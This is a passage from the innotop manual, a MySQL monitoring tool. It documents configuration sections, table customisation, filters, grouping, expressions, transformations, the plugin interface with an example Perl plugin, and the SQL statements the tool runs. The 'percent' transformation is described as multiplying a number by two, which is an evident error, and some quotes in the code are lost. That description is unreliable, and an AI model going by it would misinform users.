Controls how many sets of status variables to display in pivoted S: Variables & Status mode. It also controls the number of old sets of variables innotop keeps in its memory, so the larger this variable is, the more memory innotop uses.

plugin_dir
Specifies where plugins can be found. By default, innotop stores plugins in the ‘plugins’ subdirectory of your innotop configuration directory.

readonly
Whether the configuration file is readonly. This cannot be set interactively.

show_cxn_errors
Makes innotop print connection errors to STDOUT. See ERROR HANDLING.

show_cxn_errors_in_tbl
Makes innotop display connection errors as rows in the first table on screen. See ERROR HANDLING.

show_percent
Adds a ‘%’ character after the value returned by the percent transformation.

show_statusbar
Controls whether to show the status bar in the display. See INNOTOP STATUS.

skip_innodb
Disables fetching SHOW INNODB STATUS, in case your server(s) do not have InnoDB enabled and you don’t want innotop to try to fetch it. This can also be useful when you don’t have the SUPER privilege, required to run SHOW INNODB STATUS.

spark
Specifies how wide a spark chart is. There are two ASCII spark charts in A mode, showing QPS and User_threads_running.

status_inc
Whether to show absolute or incremental values for status variables. Incremental values are calculated as an offset from the last value innotop saw for that variable. This is a global setting, but will probably become mode-specific at some point. Right now it is honored a bit inconsistently; some modes don’t pay attention to it.

timeformat
The C-style strftime()-compatible format for the timestamp line to be printed in -n mode when -t is set.

plugins
This section holds a list of package names of active plugins. If the plugin exists, innotop will activate it. See PLUGINS for more information.

filters
This section holds user-defined filters (see FILTERS). Each line is in the format filter_name=text=‘filter text’ tbls=‘table list’. The filter text is the text of the subroutine’s code. The table list is a list of tables to which the filter can apply. By default, user-defined filters apply to the table for which they were created, but you can manually override that by editing the definition in the configuration file.

active_filters
This section stores which filters are active on each table. Each line is in the format table_name=filter_list.

tbl_meta
This section stores user-defined or user-customized columns (see COLUMNS). Each line is in the format col_name=properties, where the properties are a name=quoted-value list.

connections
This section holds the server connections you have defined. Each line is in the format name=properties, where the properties are a name=value list. The properties are self-explanatory, and the only one that is treated specially is ‘pass’ which is only present if ‘savepass’ is set. This section of the configuration file will be skipped if any DSN, username, or password command-line options are used. See SERVER CONNECTIONS.

active_connections
This section holds a list of which connections are active in each mode. Each line is in the format mode_name=connection_list.

server_groups
This section holds server groups. Each line is in the format name=connection_list. See SERVER GROUPS.

active_server_groups
This section holds a list of which server group is active in each mode. Each line is in the format mode_name=server_group.

max_values_seen
This section holds the maximum values seen for variables. This is used to scale the graphs in S: Variables & Status mode. Each line is in the format name=value.

active_columns
This section holds table column lists. Each line is in the format tbl_name=column_list. See COLUMNS.

sort_cols
This section holds the sort definition. Each line is in the format tbl_name=column_list. If a column is prefixed with ‘-’, that column sorts descending. See SORTING.

visible_tables
This section defines which tables are visible in each mode. Each line is in the format mode_name=table_list. See TABLES.

varsets
This section defines variable sets for use in S: Status & Variables mode. Each line is in the format name=variable_list. See VARIABLE SETS.

colors
This section defines colorization rules. Each line is in the format tbl_name=property_list. See COLORS.

stmt_sleep_times
This section contains statement sleep times. Each line is in the format statement_name=sleep_time. See S: Statement Sleep Times.

group_by
This section contains column lists for table group_by expressions. Each line is in the format tbl_name=column_list. See GROUPING.

CUSTOMIZING

You can customize innotop a great deal. For example, you can:

  • Choose which tables to display, and in what order.

  • Choose which columns are in those tables, and create new columns.

  • Filter which rows display with built-in filters, user-defined filters, and quick-filters.

  • Sort the rows to put important data first or group together related rows.

  • Highlight rows with color.

  • Customize the alignment, width, and formatting of columns, and apply transformations to columns to extract parts of their values or format the values as you wish (for example, shortening large numbers to familiar units).

  • Design your own expressions to extract and combine data as you need. This gives you unlimited flexibility.

All these and more are explained in the following sections.

TABLES

A table is what you’d expect: a collection of columns. It also has some other properties, such as a caption. Filters, sorting rules, and colorization rules belong to tables and are covered in later sections.

Internally, table meta-data is defined in a data structure called %tbl_meta. This hash holds all built-in table definitions, which contain a lot of default instructions to innotop. The meta-data includes the caption, a list of columns the user has customized, a list of columns, a list of visible columns, a list of filters, color rules, a sort-column list, sort direction, and some information about the table’s data sources. Most of this is customizable via the table editor (see TABLE EDITOR).

You can choose which tables to show by pressing the ‘$’ key. See MODES and TABLES.

The table life-cycle is as follows:

  • Each table begins with a data source, which is an array of hashes. See below for details on data sources.

  • Each element of the data source becomes a row in the final table.

  • For each element in the data source, innotop extracts values from the source and creates a row. This row is another hash, which later steps will refer to as $set. The values innotop extracts are determined by the table’s columns. Each column has an extraction subroutine, compiled from an expression (see EXPRESSIONS). The resulting row is a hash whose keys are named the same as the column name.

  • innotop filters the rows, removing those that don’t need to be displayed. See FILTERS.

  • innotop sorts the rows. See SORTING.

  • innotop groups the rows together, if specified. See GROUPING.

  • innotop colorizes the rows. See COLORS.

  • innotop transforms the column values in each row. See TRANSFORMATIONS.

  • innotop optionally pivots the rows (see PIVOTING), then filters and sorts them.

  • innotop formats and justifies the rows as a table. During this step, innotop applies further formatting to the column values, including alignment, maximum and minimum widths. innotop also does final error checking to ensure there are no crashes due to undefined values. innotop then adds a caption if specified, and the table is ready to print.

The lifecycle is slightly different if the table is pivoted, as noted above. To clarify, if the table is pivoted, the process is extract, group, transform, pivot, filter, sort, create. If it’s not pivoted, the process is extract, filter, sort, group, color, transform, create. This slightly convoluted process doesn’t map all that well to SQL, but pivoting complicates things pretty thoroughly. Roughly speaking, filtering and sorting happen as late as needed to effect the final result as you might expect, but as early as possible for efficiency.

Each built-in table is described below:

adaptive_hash_index
Displays data about InnoDB’s adaptive hash index. Data source: STATUS_VARIABLES.

buffer_pool
Displays data about InnoDB’s buffer pool. Data source: STATUS_VARIABLES.

cmd_summary
Displays weighted status variables. Data source: STATUS_VARIABLES.

deadlock_locks
Shows which locks were held and waited for by the last detected deadlock. Data source: DEADLOCK_LOCKS.

deadlock_transactions
Shows transactions involved in the last detected deadlock. Data source: DEADLOCK_TRANSACTIONS.

explain
Shows the output of EXPLAIN. Data source: EXPLAIN.

file_io_misc
Displays data about InnoDB’s file and I/O operations. Data source: STATUS_VARIABLES.

fk_error
Displays various data about InnoDB’s last foreign key error. Data source: STATUS_VARIABLES.

health_dashboard
Displays an overall summary of servers, one server per line, for monitoring. Data source: STATUS_VARIABLES, MASTER_SLAVE, PROCESSLIST_STATS.

index_statistics
Displays data from the INDEX_STATISTICS table in Percona-enhanced servers.

index_table_statistics
Displays data from the INDEX_STATISTICS and TABLE_STATISTICS tables in Percona-enhanced servers. It joins the two together, grouped by the database and table name. It is the default view in U: User Statistics mode, and makes it easy to see what tables are hot, how many rows are read from indexes, how many changes are made, and how many changes are made to indexes.

innodb_blocked_blocker
Displays InnoDB locks and lock waits. Data source: INNODB_BLOCKED_BLOCKER.

innodb_locks
Displays InnoDB locks. Data source: INNODB_LOCKS.

innodb_transactions
Displays data about InnoDB’s current transactions. Data source: INNODB_TRANSACTIONS.

insert_buffers
Displays data about InnoDB’s insert buffer. Data source: STATUS_VARIABLES.

io_threads
Displays data about InnoDB’s I/O threads. Data source: IO_THREADS.

log_statistics
Displays data about InnoDB’s logging system. Data source: STATUS_VARIABLES.

master_status
Displays replication master status. Data source: STATUS_VARIABLES.

open_tables
Displays open tables. Data source: OPEN_TABLES.

page_statistics
Displays InnoDB page statistics. Data source: STATUS_VARIABLES.

pending_io
Displays InnoDB pending I/O operations. Data source: STATUS_VARIABLES.

processlist
Displays current MySQL processes (threads/connections). Data source: PROCESSLIST.

q_header
Displays various status values. Data source: STATUS_VARIABLES.

row_operation_misc
Displays data about InnoDB’s row operations. Data source: STATUS_VARIABLES.

row_operations
Displays data about InnoDB’s row operations. Data source: STATUS_VARIABLES.

semaphores
Displays data about InnoDB’s semaphores and mutexes. Data source: STATUS_VARIABLES.

slave_io_status
Displays data about the slave I/O thread. Data source: STATUS_VARIABLES.

slave_sql_status
Displays data about the slave SQL thread. Data source: STATUS_VARIABLES.

table_statistics
Displays data from the TABLE_STATISTICS table in Percona-enhanced servers.

t_header
Displays various InnoDB status values. Data source: STATUS_VARIABLES.

var_status
Displays user-configurable data. Data source: STATUS_VARIABLES.

wait_array
Displays data about InnoDB’s OS wait array. Data source: OS_WAIT_ARRAY.

COLUMNS

Columns belong to tables. You can choose a table’s columns by pressing the ‘^’ key, which starts the TABLE EDITOR and lets you choose and edit columns. Pressing ’e’ from within the table editor lets you edit the column’s properties:

  • hdr: a column header. This appears in the first row of the table.

  • just: justification. ‘-’ means left-justified and ’’ means right-justified, just as with printf formatting codes (not a coincidence).

  • dec: whether to further align the column on the decimal point.

  • num: whether the column is numeric. This affects how values are sorted (lexically or numerically).

  • label: a small note about the column, which appears in dialogs that help the user choose columns.

  • src: an expression that innotop uses to extract the column’s data from its source (see DATA SOURCES). See EXPRESSIONS for more on expressions.

  • minw: specifies a minimum display width. This helps stabilize the display, which makes it easier to read if the data is changing frequently.

  • maxw: similar to minw.

  • trans: a list of column transformations. See TRANSFORMATIONS.

  • agg: an aggregate function. See GROUPING. The default is first.

  • aggonly: controls whether the column only shows when grouping is enabled on the table (see GROUPING). By default, this is disabled. This means columns will always be shown by default, whether grouping is enabled or not. If a column’s aggonly is set true, the column will appear when you toggle grouping on the table. Several columns are set this way, such as the count column on processlist and innodb_transactions, so you don’t see a count when the grouping isn’t enabled, but you do when it is.

  • agghide: the reverse of aggonly. The column is hidden when grouping is enabled.

FILTERS

Filters remove rows from the display. They behave much like a WHERE clause in SQL. innotop has several built-in filters, which remove irrelevant information like inactive queries, but you can define your own as well. innotop also lets you create quick-filters, which do not get saved to the configuration file, and are just an easy way to quickly view only some rows.

You can enable or disable a filter on any table. Press the ‘%’ key (mnemonic: % looks kind of like a line being filtered between two circles) and choose which table you want to filter, if asked. You’ll then see a list of possible filters and a list of filters currently enabled for that table. Type the names of filters you want to apply and press Enter.

USER-DEFINED FILTERS

If you type a name that doesn’t exist, innotop will prompt you to create the filter. Filters are easy to create if you know Perl, and not hard if you don’t. What you’re doing is creating a subroutine that returns true if the row should be displayed. The row is a hash reference passed to your subroutine as $set.

For example, imagine you want to filter the processlist table so you only see queries that have been running more than five minutes. Type a new name for your filter, and when prompted for the subroutine body, press TAB to initiate your terminal’s auto-completion. You’ll see the names of the columns in the processlist table (innotop generally tries to help you with auto-completion lists). You want to filter on the ’time’ column. Type the text $set->{time} > 300 to return true when the query is more than five minutes old. That’s all you need to do.

In other words, the code you’re typing is surrounded by an implicit context, which looks like this:

sub filter { my ( $set ) = @_; # YOUR CODE HERE }

If your filter doesn’t work, or if something else suddenly behaves differently, you might have made an error in your filter, and innotop is silently catching the error. Try enabling debug to make innotop throw an error instead.

QUICK-FILTERS

innotop’s quick-filters are a shortcut to create a temporary filter that doesn’t persist when you restart innotop. To create a quick-filter, press the ‘/’ key. innotop will prompt you for the column name and filter text. Again, you can use auto-completion on column names. The filter text can be just the text you want to search for. For example, to filter the processlist table on queries that refer to the products table, type ‘/’ and then ‘info product’. Internally, the filter is compiled into a subroutine like this:

sub filter { my ( $set ) = @_; $set->{info} =~ m/product/; }

The filter text can actually be any Perl regular expression, but of course a literal string like ‘product’ works fine as a regular expression.

What if you want the filter to discard matching rows, rather than showing matching rows? If you’re familiar with Perl regular expressions, you might guess how to do this. You have to use a zero-width negative lookahead assertion. If you don’t know what that means, don’t worry. Let’s filter out all rows where the command is Gandalf. Type the following:

1. / 2. cmd ^(?!Gandalf)

Behind the scenes innotop compiles the quick-filter into a specially tagged filter that is otherwise like any other filter. It just isn’t saved to the configuration file.

To clear quick-filters, press the ‘\ key and innotop will clear them all at once.

SORTING

innotop has sensible built-in defaults to sort the most important rows to the top of the table. Like anything else in innotop, you can customize how any table is sorted.

To start the sort dialog, start the TABLE EDITOR with the ‘^’ key, choose a table if necessary, and press the ’s’ key. You’ll see a list of columns you can use in the sort expression and the current sort expression, if any. Enter a list of columns by which you want to sort and press Enter. If you want to reverse sort, prefix the column name with a minus sign. For example, if you want to sort by column a ascending, then column b descending, type ‘a -b’. You can also explicitly add a + in front of columns you want to sort ascending, but it’s not required.

Some modes have keys mapped to open this dialog directly, and to quickly reverse sort direction. Press ‘?’ as usual to see which keys are mapped in any mode.

GROUPING

innotop can group, or aggregate, rows together (the terms are used interchangeably). This is quite similar to an SQL GROUP BY clause. You can specify to group on certain columns, or if you don’t specify any, the entire set of rows is treated as one group. This is quite like SQL so far, but unlike SQL, you can also select un-grouped columns. innotop actually aggregates every column. If you don’t explicitly specify a grouping function, the default is ‘first’. This is basically a convenience so you don’t have to specify an aggregate function for every column you want in the result.

You can quickly toggle grouping on a table with the ‘=’ key, which toggles its aggregate property. This property doesn’t persist to the config file.

The columns by which the table is grouped are specified in its group_by property. When you turn grouping on, innotop places the group_by columns at the far left of the table, even if they’re not supposed to be visible. The rest of the visible columns appear in order after them.

Two tables have default group_by lists and a count column built in: processlist and innodb_transactions. The grouping is by connection and status, so you can quickly see how many queries or transactions are in a given status on each server you’re monitoring. The time columns are aggregated as a sum; other columns are left at the default ‘first’ aggregation.

By default, the table shown in S: Variables & Status mode also uses grouping so you can monitor variables and status across many servers. The default aggregation function in this mode is ‘avg’.

Valid grouping functions are defined in the %agg_funcs hash. They include

first
Returns the first element in the group.

count
Returns the number of elements in the group, including undefined elements, much like SQL’s COUNT(*).

avg
Returns the average of defined elements in the group.

sum
Returns the sum of elements in the group.

Here’s an example of grouping at work. Suppose you have a very busy server with hundreds of open connections, and you want to see how many connections are in what status. Using the built-in grouping rules, you can press ‘Q’ to enter Q: Query List mode. Press ‘=’ to toggle grouping (if necessary, select the processlist table when prompted).

Your display might now look like the following:

Query List (? for help) localhost, 32:33, 0.11 QPS, 1 thd, 5.0.38-log CXN Cmd Cnt ID User Host Time Query localhost Query 49 12933 webusr localhost 19:38 SELECT * FROM localhost Sending Da 23 2383 webusr localhost 12:43 SELECT col1, localhost Sleep 120 140 webusr localhost 5:18:12 localhost Statistics 12 19213 webusr localhost 01:19 SELECT * FROM

That’s actually quite a worrisome picture. You’ve got a lot of idle connections (Sleep), and some connections executing queries (Query and Sending Data). That’s okay, but you also have a lot in Statistics status, collectively spending over a minute. That means the query optimizer is having a really hard time generating execution plans for your statements. Something is wrong; it should normally take milliseconds to plan queries. You might not have seen this pattern if you didn’t look at your connections in aggregate. (This is a made-up example, but it can happen in real life).

PIVOTING

innotop can pivot a table for more compact display, similar to a Pivot Table in a spreadsheet (also known as a crosstab). Pivoting a table makes columns into rows. Assume you start with this table:

foo bar === === 1 3 2 4

After pivoting, the table will look like this:

name set0 set1 ==== ==== ==== foo 1 2 bar 3 4

To get reasonable results, you might need to group as well as pivoting. innotop currently does this for S: Variables & Status mode.

COLORS

By default, innotop highlights rows with color so you can see at a glance which rows are more important. You can customize the colorization rules and add your own to any table. Open the table editor with the ‘^’ key, choose a table if needed, and press ‘o’ to open the color editor dialog.

The color editor dialog displays the rules applied to the table, in the order they are evaluated. Each row is evaluated against each rule to see if the rule matches the row; if it does, the row gets the specified color, and no further rules are evaluated. The rules look like the following:

state eq Locked black on_red cmd eq Sleep white user eq system user white cmd eq Connect white cmd eq Binlog Dump white time > 600 red time > 120 yellow time > 60 green time > 30 cyan

This is the default rule set for the processlist table. In order of priority, these rules make locked queries black on a red background, gray out connections from replication and sleeping queries, and make queries turn from cyan to red as they run longer.

(For some reason, the ANSI color code white is actually a light gray. Your terminal’s display may vary; experiment to find colors you like).

You can use keystrokes to move the rules up and down, which re-orders their priority. You can also delete rules and add new ones. If you add a new rule, innotop prompts you for the column, an operator for the comparison, a value against which to compare the column, and a color to assign if the rule matches. There is auto-completion and prompting at each step.

The value in the third step needs to be correctly quoted. innotop does not try to quote the value because it doesn’t know whether it should treat the value as a string or a number. If you want to compare the column against a string, as for example in the first rule above, you should enter ‘Locked’ surrounded by quotes. If you get an error message about a bareword, you probably should have quoted something.

EXPRESSIONS

Expressions are at the core of how innotop works, and are what enables you to extend innotop as you wish. Recall the table lifecycle explained in TABLES. Expressions are used in the earliest step, where it extracts values from a data source to form rows.

It does this by calling a subroutine for each column, passing it the source data set, a set of current values, and a set of previous values. These are all needed so the subroutine can calculate things like the difference between this tick and the previous tick.

The subroutines that extract the data from the set are compiled from expressions. This gives significantly more power than just naming the values to fill the columns, because it allows the column’s value to be calculated from whatever data is necessary, but avoids the need to write complicated and lengthy Perl code.

innotop begins with a string of text that can look as simple as a value’s name or as complicated as a full-fledged Perl expression. It looks at each ‘bareword’ token in the string and decides whether it’s supposed to be a key into the $set hash. A bareword is an unquoted value that isn’t already surrounded by code-ish things like dollar signs or curly brackets. If innotop decides that the bareword isn’t a function or other valid Perl code, it converts it into a hash access. After the whole string is processed, innotop compiles a subroutine, like this:

sub compute_column_value { my ( $set, $cur, $pre ) = @_; my $val = # EXPANDED STRING GOES HERE return $val; }

Here’s a concrete example, taken from the header table q_header in Q: Query List mode. This expression calculates the qps, or Queries Per Second, column’s values, from the values returned by SHOW STATUS:

Questions/Uptime_hires

innotop decides both words are barewords, and transforms this expression into the following Perl code:

$set->{Questions}/$set->{Uptime_hires}

When surrounded by the rest of the subroutine’s code, this is executable Perl that calculates a high-resolution queries-per-second value.

The arguments to the subroutine are named $set, $cur, and $pre. In most cases, $set and $cur will be the same values. However, if status_inc is set, $cur will not be the same as $set, because $set will already contain values that are the incremental difference between $cur and $pre.

Every column in innotop is computed by subroutines compiled in the same fashion. There is no difference between innotop’s built-in columns and user-defined columns. This keeps things consistent and predictable.

TRANSFORMATIONS

Transformations change how a value is rendered. For example, they can take a number of seconds and display it in H:M:S format. The following transformations are defined:

commify
Adds commas to large numbers every three decimal places.

distill
Distills SQL into verb-noun-noun format for quick comprehension.

dulint_to_int
Accepts two unsigned integers and converts them into a single longlong. This is useful for certain operations with InnoDB, which uses two integers as transaction identifiers, for example.

fuzzy_time
Converts a number of seconds into a friendly, readable value like 1h35m.

no_ctrl_char
Removes quoted control characters from the value. This is affected by the charset configuration variable. This transformation only operates within quoted strings, for example, values to a SET clause in an UPDATE statement. It will not alter the UPDATE statement, but will collapse the quoted string to [BINARY] or [TEXT], depending on the charset.

percent
Converts a number to a percentage by multiplying it by two, formatting it with num_digits digits after the decimal point, and optionally adding a percent sign (see show_percent).

secs_to_time
Formats a number of seconds as time in days+hours:minutes:seconds format.

set_precision
Formats numbers with num_digits number of digits after the decimal point.

shorten
Formats a number as a unit of 1024 (k/M/G/T) and with num_digits number of digits after the decimal point.

TABLE EDITOR

The innotop table editor lets you customize tables with keystrokes. You start the table editor with the ‘^’ key. If there’s more than one table on the screen, it will prompt you to choose one of them. Once you do, innotop will show you something like this:

Editing table definition for Buffer Pool. Press ? for help, q to quit. name hdr label src cxn CXN Connection from which cxn buf_pool_size Size Buffer pool size IB_bp_buf_poo buf_free Free Bufs Buffers free in the b IB_bp_buf_fre pages_total Pages Pages total IB_bp_pages_t pages_modified Dirty Pages Pages modified (dirty IB_bp_pages_m buf_pool_hit_rate Hit Rate Buffer pool hit rate IB_bp_buf_poo total_mem_alloc Memory Total memory allocate IB_bp_total_m add_pool_alloc Addl Pool Additional pool alloca IB_bp_add_poo

The first line shows which table you’re editing, and reminds you again to press ‘?’ for a list of key mappings. The rest is a tabular representation of the table’s columns, because that’s likely what you’re trying to edit. However, you can edit more than just the table’s columns; this screen can start the filter editor, color rule editor, and more.

Each row in the display shows a single column in the table you’re editing, along with a couple of its properties such as its header and source expression (see EXPRESSIONS).

The key mappings are Vim-style, as in many other places. Pressing ‘j’ and ‘k’ moves the highlight up or down. You can then (d)elete or (e)dit the highlighted column. You can also (a)dd a column to the table. This actually just activates one of the columns already defined for the table; it prompts you to choose from among the columns available but not currently displayed. Finally, you can re-order the columns with the ‘+’ and ‘-’ keys.

You can do more than just edit the columns with the table editor, you can also edit other properties, such as the table’s sort expression and group-by expression. Press ‘?’ to see the full list, of course.

If you want to really customize and create your own column, as opposed to just activating a built-in one that’s not currently displayed, press the (n)ew key, and innotop will prompt you for the information it needs:

  • The column name: this needs to be a word without any funny characters, e.g. just letters, numbers and underscores.

  • The column header: this is the label that appears at the top of the column, in the table header. This can have spaces and funny characters, but be careful not to make it too wide and waste space on-screen.

  • The column’s data source: this is an expression that determines what data from the source (see TABLES) innotop will put into the column. This can just be the name of an item in the source, or it can be a more complex expression, as described in EXPRESSIONS.

Once you’ve entered the required data, your table has a new column. There is no difference between this column and the built-in ones; it can have all the same properties and behaviors. innotop will write the column’s definition to the configuration file, so it will persist across sessions.

Here’s an example: suppose you want to track how many times your slaves have retried transactions. According to the MySQL manual, the Slave_retried_transactions status variable gives you that data: The total number of times since startup that the replication slave SQL thread has retried transactions. This variable was added in version 5.0.4. This is appropriate to add to the slave_sql_status table.

To add the column, switch to the replication-monitoring mode with the ‘M’ key, and press the ‘^’ key to start the table editor. When prompted, choose slave_sql_status as the table, then press ’n’ to create the column. Type ‘retries’ as the column name, ‘Retries’ as the column header, and ‘Slave_retried_transactions’ as the source. Now the column is created, and you see the table editor screen again. Press ‘q’ to exit the table editor, and you’ll see your column at the end of the table.

VARIABLE SETS

Variable sets are used in S: Variables & Status mode to define more easily what variables you want to monitor. Behind the scenes they are compiled to a list of expressions, and then into a column list so they can be treated just like columns in any other table, in terms of data extraction and transformations. However, you’re protected from the tedious details by a syntax that ought to feel very natural to you: a SQL SELECT list.

The data source for variable sets, and indeed the entire S mode, is the combination of SHOW STATUS, SHOW VARIABLES, and SHOW INNODB STATUS. Imagine that you had a huge table with one column per variable returned from those statements. That’s the data source for variable sets. You can now query this data source just like you’d expect. For example:

Questions, Uptime, Questions/Uptime as QPS

Behind the scenes innotop will split that variable set into three expressions, compile them and turn them into a table definition, then extract as usual. This becomes a variable set, or a list of variables you want to monitor.

innotop lets you name and save your variable sets, and writes them to the configuration file. You can choose which variable set you want to see with the ‘c’ key, or activate the next and previous sets with the ‘>’ and ‘<’ keys. There are many built-in variable sets as well, which should give you a good start for creating your own. Press ’e’ to edit the current variable set, or just to see how it’s defined. To create a new one, just press ‘c’ and type its name.

You may want to use some of the functions listed in TRANSFORMATIONS to help format the results. In particular, set_precision is often useful to limit the number of digits you see. Extending the above example, here’s how:

Questions, Uptime, set_precision(Questions/Uptime) as QPS

Actually, this still needs a little more work. If your interval is less than one second, you might be dividing by zero because Uptime is incremental in this mode by default. Instead, use Uptime_hires:

Questions, Uptime, set_precision(Questions/Uptime_hires) as QPS

This example is simple, but it shows how easy it is to choose which variables you want to monitor.

PLUGINS

innotop has a simple but powerful plugin mechanism by which you can extend or modify its existing functionality, and add new functionality. innotop’s plugin functionality is event-based: plugins register themselves to be called when events happen. They then have a chance to influence the event.

An innotop plugin is a Perl module (.pm) file placed in innotop’s plugin_dir directory. On UNIX systems, you can place a symbolic link to the module instead of putting the actual file there. innotop automatically discovers files named *.pm. If there is a corresponding entry in the plugins configuration file section, innotop loads and activates the plugin.

The module must conform to innotop’s plugin interface. Additionally, the source code of the module must be written in such a way that innotop can inspect the file and determine the package name and description.

Package Source Convention

innotop inspects the plugin module’s source to determine the Perl package name. It looks for a line of the form package Foo; and if found, considers the plugin’s package name to be Foo. Of course the package name can be a valid Perl package name such as Foo::Bar, with double colons (::) and so on.

It also looks for a description in the source code, to make the plugin editor more human-friendly. The description is a comment line of the form # description: Foo, where Foo is the text innotop will consider to be the plugin’s description.

Plugin Interface

The innotop plugin interface is quite simple: innotop expects the plugin to be an object-oriented module it can call certain methods on. The methods are

new(%variables)
This is the plugin’s constructor. It is passed a hash of innotop’s variables, which it can manipulate (see Plugin Variables). It must return a reference to the newly created plugin object. At construction time, innotop has only loaded the general configuration and created the default built-in variables with their default contents (which is quite a lot). Therefore, the state of the program is exactly as in the innotop source code, plus the configuration variables from the general section in the config file. If your plugin manipulates the variables, it is changing global data, which is shared by innotop and all plugins. Plugins are loaded in the order they’re listed in the config file. Your plugin may load before or after another plugin, so there is a potential for conflict or interaction between plugins if they modify data other plugins use or modify.

register_for_events()
This method must return a list of events in which the plugin is interested, if any. See Plugin Events for the defined events. If the plugin returns an event that’s not defined, the event is ignored.

event handlers
The plugin must implement a method named the same as each event for which it has registered. In other words, if the plugin returns qw(foo bar) from register_for_events(), it must have foo() and bar() methods. These methods are callbacks for the events. See Plugin Events for more details about each event.

Plugin Variables

The plugin’s constructor is passed a hash of innotop’s variables, which it can manipulate. It is probably a good idea if the plugin object saves a copy of it for later use. The variables are defined in the innotop variable %pluggable_vars, and are as follows:

action_for
A hashref of key mappings. These are innotop’s global hot-keys.

agg_funcs
A hashref of functions that can be used for grouping. See GROUPING.

config
The global configuration hash.

connections
A hashref of connection specifications. These are just specifications of how to connect to a server.

dbhs
A hashref of innotop’s database connections. These are actual DBI connection objects.

filters
A hashref of filters applied to table rows. See FILTERS for more.

modes
A hashref of modes. See MODES for more.

server_groups
A hashref of server groups. See SERVER GROUPS.

tbl_meta
A hashref of innotop’s table meta-data, with one entry per table (see TABLES for more information).

trans_funcs
A hashref of transformation functions. See TRANSFORMATIONS.

var_sets
A hashref of variable sets. See VARIABLE SETS.

Plugin Events

Each event is defined somewhere in the innotop source code. When innotop runs that code, it executes the callback function for each plugin that expressed its interest in the event. innotop passes some data for each event. The events are defined in the %event_listener_for variable, and are as follows:

extract_values($set, $cur, $pre, $tbl)
This event occurs inside the function that extracts values from a data source. The arguments are the set of values, the current values, the previous values, and the table name.

set_to_tbl
Events are defined at many places in this subroutine, which is responsible for turning an arrayref of hashrefs into an arrayref of lines that can be printed to the screen. The events all pass the same data: an arrayref of rows and the name of the table being created. The events are set_to_tbl_pre_filter, set_to_tbl_pre_sort,set_to_tbl_pre_group, set_to_tbl_pre_colorize, set_to_tbl_pre_transform, set_to_tbl_pre_pivot, set_to_tbl_pre_create, set_to_tbl_post_create.

draw_screen($lines)
This event occurs inside the subroutine that prints the lines to the screen. $lines is an arrayref of strings.

Simple Plugin Example

The easiest way to explain the plugin functionality is probably with a simple example. The following module adds a column to the beginning of every table and sets its value to 1. (If you copy and paste this example code, be sure to remove the first space from each line; lines such as ‘# description’ must not start with whitespace).

use strict; use warnings FATAL => all; package Innotop::Plugin::Example; # description: Adds an example column to every table sub new { my ( $class, %vars ) = @_; # Store reference to innotops variables in $self my $self = bless { %vars }, $class; # Design the example column my $col = { hdr => Example, just => , dec => 0, num => 1, label => Example, src => example, # Get data from this column in the data source tbl => , trans => [], }; # Add the column to every table. my $tbl_meta = $vars{tbl_meta}; foreach my $tbl ( values %$tbl_meta ) { # Add the column to the list of defined columns $tbl->{cols}->{example} = $col; # Add the column to the list of visible columns unshift @{$tbl->{visible}}, example; } # Be sure to return a reference to the object. return $self; } # Id like to be called when a data set is being rendered into a table, please. sub register_for_events { my ( $self ) = @_; return qw(set_to_tbl_pre_filter); } # This method will be called when the event fires. sub set_to_tbl_pre_filter { my ( $self, $rows, $tbl ) = @_; # Set the example columns data source to the value 1. foreach my $row ( @$rows ) { $row->{example} = 1; } } 1;

Plugin Editor

The plugin editor lets you view the plugins innotop discovered and activate or deactivate them. Start the editor by pressing $ to start the configuration editor from any mode. Press the ‘p’ key to start the plugin editor. You’ll see a list of plugins innotop discovered. You can use the ‘j’ and ‘k’ keys to move the highlight to the desired one, then press the * key to toggle it active or inactive. Exit the editor and restart innotop for the changes to take effect.

SQL STATEMENTS

innotop uses a limited set of SQL statements to retrieve data from MySQL for display. The statements are customized depending on the server version against which they are executed; for example, on MySQL 5 and newer, INNODB_STATUS executes SHOW ENGINE INNODB STATUS, while on earlier versions it executes SHOW INNODB STATUS. The statements are as follows:

Statement SQL executed =================== =============================== INDEX_STATISTICS SELECT * FROM INFORMATION_SCHEMA.INDEX_STATISTICS INNODB_STATUS SHOW [ENGINE] INNODB STATUS KILL_CONNECTION KILL KILL_QUERY KILL QUERY OPEN_TABLES SHOW OPEN TABLES PROCESSLIST SHOW FULL PROCESSLIST SHOW_MASTER_LOGS SHOW MASTER LOGS SHOW_MASTER_STATUS SHOW MASTER STATUS SHOW_SLAVE_STATUS SHOW SLAVE STATUS SHOW_STATUS SHOW [GLOBAL] STATUS SHOW_VARIABLES SHOW [GLOBAL] VARIABLES TABLE_STATISTICS SELECT * FROM INFORMATION_SCHEMA.TABLE_STATISTICS

DATA SOURCES

Each time innotop extracts values to create a table (see EXPRESSIONS and TABLES), it does so from a particular data source. Largely because of the complex data extracted from SHOW INNODB STATUS, this is slightly messy. SHOW INNODB STATUS contains a mixture of single values and repeated values that form nested data sets.

Whenever innotop fetches data from MySQL, it adds two extra bits to each set: cxn and Uptime_hires. cxn is the name of the connection from which the data came. Uptime_hires is a high-resolution version of the server’s Uptime status variable, which is important if your interval setting is sub-second.

Here are the kinds of data sources from which data is extracted:

STATUS_VARIABLES
This is the broadest category, into which the most kinds of data fall. It begins with the combination of SHOW STATUS and SHOW VARIABLES, but other sources may be included as needed, for example, SHOW MASTER STATUS and SHOW SLAVE STATUS, as well as many of the non-repeated values from SHOW INNODB STATUS.

DEADLOCK_LOCKS
This data is extracted from the transaction list in the LATEST DETECTED DEADLOCK section of SHOW INNODB STATUS. It is nested two levels deep: transactions, then locks.

DEADLOCK_TRANSACTIONS
This data is from the transaction list in the LATEST DETECTED DEADLOCK section of SHOW INNODB STATUS. It is nested one level deep.

EXPLAIN
This data is from the result set returned by EXPLAIN.

INNODB_BLOCKED_BLOCKER
This data is from the INFORMATION_SCHEMA tables related to InnoDB locks and the processlist.

INNODB_TRANSACTIONS
This data is from the TRANSACTIONS section of SHOW INNODB STATUS.

IO_THREADS
This data is from the list of threads in the FILE I/O section of SHOW INNODB STATUS.

INNODB_LOCKS
This data is from the TRANSACTIONS section of SHOW INNODB STATUS and is nested two levels deep.

MASTER_SLAVE
This data is from the combination of SHOW MASTER STATUS and SHOW SLAVE STATUS.

OPEN_TABLES
This data is from SHOW OPEN TABLES.

PROCESSLIST
This data is from SHOW FULL PROCESSLIST.

PROCESSLIST_STATS
This data is from SHOW FULL PROCESSLIST and computes stats such as the maximum time a user query has been running, and how many user queries are running. A user query excludes replication threads.

OS_WAIT_ARRAY
